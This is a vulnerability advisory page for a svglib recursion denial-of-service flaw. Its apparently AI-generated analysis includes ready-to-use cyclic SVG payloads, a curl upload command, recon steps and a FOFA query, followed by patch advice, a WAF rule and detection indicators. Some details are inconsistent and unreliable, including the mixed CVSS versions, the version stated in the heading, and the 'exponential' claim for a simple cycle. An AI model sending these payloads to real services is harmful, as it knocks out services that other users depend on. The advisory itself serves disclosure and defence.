CVE Professor
/
All CVEs
CVE-2026-137952

CVE-2026-137952 — Deeplook Svglib — CWE-674

HIGH CVSS 8.7 ⚡ EPSS 0.8% NVD

svglib before 2.5.0 contains a denial of service vulnerability in SvgRenderer.renderNode() that recursively renders internal <image> href fragment references without expansion limits or cycle detection. Attackers can supply crafted SVGs to svg2rlg() with nested groups referencing each other twice or self-referencing images to cause exponential resource consumption or RecursionError crashes.

svglib before 2.5.0 contains a denial of service vulnerability in SvgRenderer.renderNode() that recursively renders internal <image> href fragment references without expansion limits or cycle detection. Attackers can supply crafted SVGs to svg2rlg() with nested groups referencing each other twice or self-referencing images to cause exponential resource consumption or RecursionError crashes.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Unchanged S:U
Confidentiality None C:N
Integrity None I:N
Availability High A:H
EPSS — Exploit Prediction Scoring System
0.8%
30-day probability
In the 51. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑137952 – Unbounded recursive rendering in svglib 2.5.0

AttributeValue
Productdeeplook:svglib (Python library that converts SVG → ReportLab graphics)
Vulnerable version< 2.5.0 (the description says “before 2.5.0”, the released 2.5.0 version is the first that *fixes* the issue)
CWECWE‑674 – Improper Control of Resource Consumption
CVSS 4.0 vectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N – Network‑only, low complexity, no privileges, no user interaction, high impact on availability only.

Technical root‑cause

svglib parses an SVG document into an internal node tree and then walks that tree in SvgRenderer.renderNode().
When the renderer encounters an <image> element whose href attribute points to an internal fragment identifier (e.g. href="#myImage"), it recursively calls renderNode() on the referenced fragment.

The implementation:

def renderNode(self, node):
    if isinstance(node, Image):
        href = node.get('href')
        if href and href.startswith('#'):          # internal reference
            fragment = self.svg.get_element_by_id(href[1:])
            self.renderNode(fragment)              # <‑‑ recursive call
    # … normal rendering of other node types …

Missing controls

1. No depth/iteration limit – the recursion can continue indefinitely if the fragment graph contains a cycle.
2. No cycle detection – the renderer never checks whether a fragment has already been visited in the current call stack.
3. No resource‑consumption guard – there is no cap on the number of rendered pixels, the size of the intermediate ReportLab canvas, or the total CPU time spent in the recursive walk.

Consequences: a crafted SVG that contains either

  • a self‑referencing <image href="#self">, or

  • two fragments that reference each other (A → B → A)
  • will cause the renderer to exponentially increase the call stack and memory usage, eventually raising a RecursionError or exhausting the process memory/CPU, resulting in a Denial‑of‑Service (DoS). Because the library is typically used server‑side (e.g., a web service that accepts user‑uploaded SVGs and converts them to PDFs), the attacker can trigger the crash remotely without authentication.


    ⚡ Attack Chain

    Below is a realistic, end‑to‑end exploitation scenario for a typical web‑service that uses svglib.svg2rlg() to turn user‑supplied SVG files into PDF reports.

    1. Discovery & Reconnaissance

    StepActionTools / Evidence
    1.1Identify the backend language/framework (Python) and locate the SVG conversion endpoint (e.g., /api/v1/report/svg2pdf).Burp Suite, Nmap service detection, robots.txt or OpenAPI spec.
    1.2Finger‑print the svglib version.- Look at requirements.txt / Pipfile.lock in a publicly exposed repository. <br>- Observe the User‑Agent header of the service if it includes the library version (some deployments log it). <br>- Use a “version‑leak” endpoint that returns the library version (e.g., /api/v1/health).
    1.3Verify that the endpoint accepts raw SVG (multipart/form‑data or JSON base64).Send a benign SVG and confirm a PDF is returned.

    If the version reported is < 2.5.0, the target is vulnerable.

    2. Exploitation

    Because the CVE description does not publish a concrete HTTP route, the following request is an illustrative example that matches the typical pattern of vulnerable services.

    2.1 Craft the malicious SVG

    <?xml version="1.0" encoding="UTF-8"?>
    <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
      <!-- Fragment A -->
      <g id="A">
        <image href="#B" width="100" height="100"/>
      </g>
    
      <!-- Fragment B -->
      <g id="B">
        <image href="#A" width="100" height="100"/>
      </g>
    
      <!-- Entry point -->
      <use href="#A" x="0" y="0"/>
    </svg>

    Explanation:

  • A references B, B references A. The renderer will recurse A → B → A → B … until Python’s recursion limit (default 1000) is hit, raising RecursionError: maximum recursion depth exceeded. The call stack grows exponentially, consuming CPU and memory.
  • A self‑reference variant (simpler) is also effective:

    <?xml version="1.0"?>
    <svg xmlns="http://www.w3.org/2000/svg" width="10" height="10">
      <g id="self">
        <image href="#self" width="10" height="10"/>
      </g>
      <use href="#self"/>
    </svg>

    2.2 Send the payload

    # Illustrative curl command – adjust the endpoint/path to the real service
    curl -X POST https://target.example.com/api/v1/report/svg2pdf \
         -H "Content-Type: multipart/form-data" \
         -F "[email protected];type=image/svg+xml" \
         --output /dev/null -s -w "%{http_code}\n"

    Expected outcome on a vulnerable server

  • The HTTP response may be 500 Internal Server Error after a few seconds, or the connection may be reset because the process crashed.
  • The server’s CPU usage spikes to 100 % for the duration of the recursion (often a few seconds to a minute depending on the recursion depth and hardware).
  • If the service runs behind a process manager (e.g., gunicorn), the worker handling the request will be terminated and automatically respawned, causing a temporary denial of service for any subsequent requests that land on the same worker.

    3. Post‑exploitation

    For this CVE the impact stops at availability:

  • Denial‑of‑Service – the attacker can repeatedly trigger the crash, exhausting the pool of worker processes and rendering the service unusable for legitimate users.
  • No direct code execution – the vulnerability does not expose memory corruption or arbitrary file reads/writes; it merely exhausts resources.
  • In a multi‑tenant SaaS platform, a single malicious user can affect all other tenants sharing the same conversion service, amplifying the business impact.


    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS vector)
    ConfidentialityNone – VC:N (no impact).
    IntegrityNone – VI:N.
    AvailabilityHigh – VA:H. The vulnerability can fully exhaust CPU/memory, causing process termination or service outage.

    Practical consequences

    EnvironmentWhat can happen
    Self‑hosted web application (e.g., Flask/Django service that accepts SVG uploads)An unauthenticated attacker can send a single crafted SVG and bring down the worker process, leading to a temporary outage until the process manager restarts it.
    CI/CD pipelines that use svglib to generate PDFs from design assetsA malicious commit containing the SVG can cause the build agent to hang or crash, delaying releases.
    Desktop utilities that batch‑convert SVGs (e.g., a CLI tool used in a shared workstation)A malicious SVG placed in a watched directory can freeze the conversion daemon, affecting all users of that workstation.

    Because the attack requires no authentication, no user interaction, and can be launched over the network, the risk rating is High.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetails
    UpgradeMove to svglib >= 2.5.0. The release notes for 2.5.0 state: “Added recursion depth guard and cycle detection for internal <image> references.”
    Version verificationAfter upgrade, run python -c "import svglib; print(svglib.__version__)" on the production host to confirm the version.

    2. Immediate Workarounds (if patch cannot be applied instantly)

    WorkaroundImplementation
    Input sanitisation – reject any <image> element whose href attribute starts with #.``python\nimport re\nfrom xml.etree import ElementTree as ET\n\ndef reject_fragment_refs(svg_bytes):\n root = ET.fromstring(svg_bytes)\n for img in root.iter('{http://www.w3.org/2000/svg}image'):\n href = img.attrib.get('{http://www.w3.org/1999/xlink}href') or img.attrib.get('href')\n if href and href.startswith('#'):\n raise ValueError('Internal fragment references are not allowed')\n return svg_bytes\n`
    Limit recursion depth – set Python’s recursion limit lower than the default before calling svg2rlg().`python\nimport sys\nsys.setrecursionlimit(200) # safe for typical SVGs, will abort malicious recursion early\nfrom svglib.svglib import svg2rlg\n`
    Resource‑quota wrapper – run the conversion in a separate process with ulimit/cgroups limits.`bash\n# Bash wrapper example\nulimit -t 5 # CPU time limit: 5 seconds\nulimit -v 200000 # virtual memory limit: ~200 MiB\npython convert.py \"$@\"\n`
    WAF / ModSecurity rule – block SVG payloads that contain a fragment reference pattern.`apacheconf\nSecRule REQUEST_BODY \"<image[^>]+href\\s*=\\s*\\\"#\" \"id:100001,phase:2,deny,log,msg:'Blocked SVG with internal fragment reference'\"\n``<br>*(If the service only expects external image URLs, this rule reduces the attack surface.)*

    3. Detection

    IndicatorWhere to lookExample log entry
    Sudden spikes in CPU / memory for the Python worker processSystem monitoring (Prometheus, Grafana, top, psutil)process_cpu_seconds_total{job="webapp",instance="10.0.0.5:8000",process="worker"} 120.5
    RecursionError stack traces in application logsPython logger, stderr of the workerRecursionError: maximum recursion depth exceeded while rendering SVG fragment '#A'
    HTTP 500 responses correlated with Content-Type: image/svg+xml uploadsWeb server access logs (nginx, Apache)POST /api/v1/report/svg2pdf 500 1234 "-" "Mozilla/5.0"
    Process restarts (e.g., gunicorn worker respawn)Process manager logs (supervisor, systemd, gunicorn error log)INFO: Worker exiting (pid: 3421) (signal 9)

    Setting up an alert that triggers when > 5 RecursionError entries appear within a minute, or when CPU usage > 90 % for > 30 s on the conversion worker, will give early warning of an ongoing exploitation attempt.


    ⚠️ Urgency

  • CVSS 4.0 base score: 8.7 (High) – high availability impact, network‑only, no authentication required.
  • Exploit complexity: Low – a single crafted SVG is sufficient; no special privileges or user interaction.
  • Public exploitability: The vulnerability is fully disclosed in the library source; no additional zero‑day technique is required.
  • CISA KEV: Not listed, but the lack of a KEV entry does not diminish the risk; many high‑impact DoS bugs are omitted from KEV because they are not “exploitable for remote code execution”.
  • Patch priority: Critical for any production service that accepts untrusted SVGs (public APIs, SaaS platforms, CI pipelines). Deploy the 2.5.0 (or later) release immediately and apply one of the short‑term mitigations while the upgrade is in progress.


    TL;DR

  • svglib < 2.5.0 recursively follows internal <image href="#…"> references without any depth or cycle checks.
  • An attacker can send a malicious SVG that creates a reference loop, causing exponential recursion, CPU exhaustion, and a RecursionError crash → Denial‑of‑Service.
  • No authentication, no user interaction, network‑only attack → CVSS 8.7.
  • Remediate now by upgrading to svglib ≥ 2.5.0. If that is not possible, block fragment references, lower Python’s recursion limit, or sandbox the conversion process.
  • Detect via RecursionError logs, high CPU spikes, and repeated 500 responses on SVG‑upload endpoints.
Implement the upgrade and/or mitigations without delay to keep the service available.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="deeplook svglib"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-137952
Technical reference / advisory repository for CVE-2026-137952
Technical reference / advisory repository for CVE-2026-137952
Technical reference / advisory repository for CVE-2026-137952
CVSS Score
8.7 / 10 · CVSS HIGH
Weakness Types (CWE)
CWE-674
Affected Products (1)
deeplook:svglib
Related CVEs
7.1
CVE-2026-144601
pg_hint_plan through 1.9.0 contains an uncontrolled recursion vulnerability in parse_parentheses_Leading_in th
5.3
CVE-2026-145166
domutils 1.0.0 before 4.1.0 contains an uncontrolled recursion vulnerability in findOne(), existsOne() and get
5.3
CVE-2026-145167
domutils 1.1.0 before 4.1.0 contains an uncontrolled recursion vulnerability in getText(), textContent() and i
7.5
CVE-2026-138703
In Telerik.DataSource, versions prior to v4.1.2, an uncontrolled recursion vulnerability exists in the text fi
8.7
CVE-2026-142040
An uncontrolled recursion vulnerability in WatchGuard Endpoint Security's OLE2 compound file directory parsing
7.5
CVE-2026-142198
NCalc before 7.6.0 contains an uncontrolled recursion vulnerability that allows attackers to crash the host pr
7.5
CVE-2026-142212
YamlDotNet through 18.1.0 contains an uncontrolled recursion vulnerability in YamlSequenceNode and YamlMapping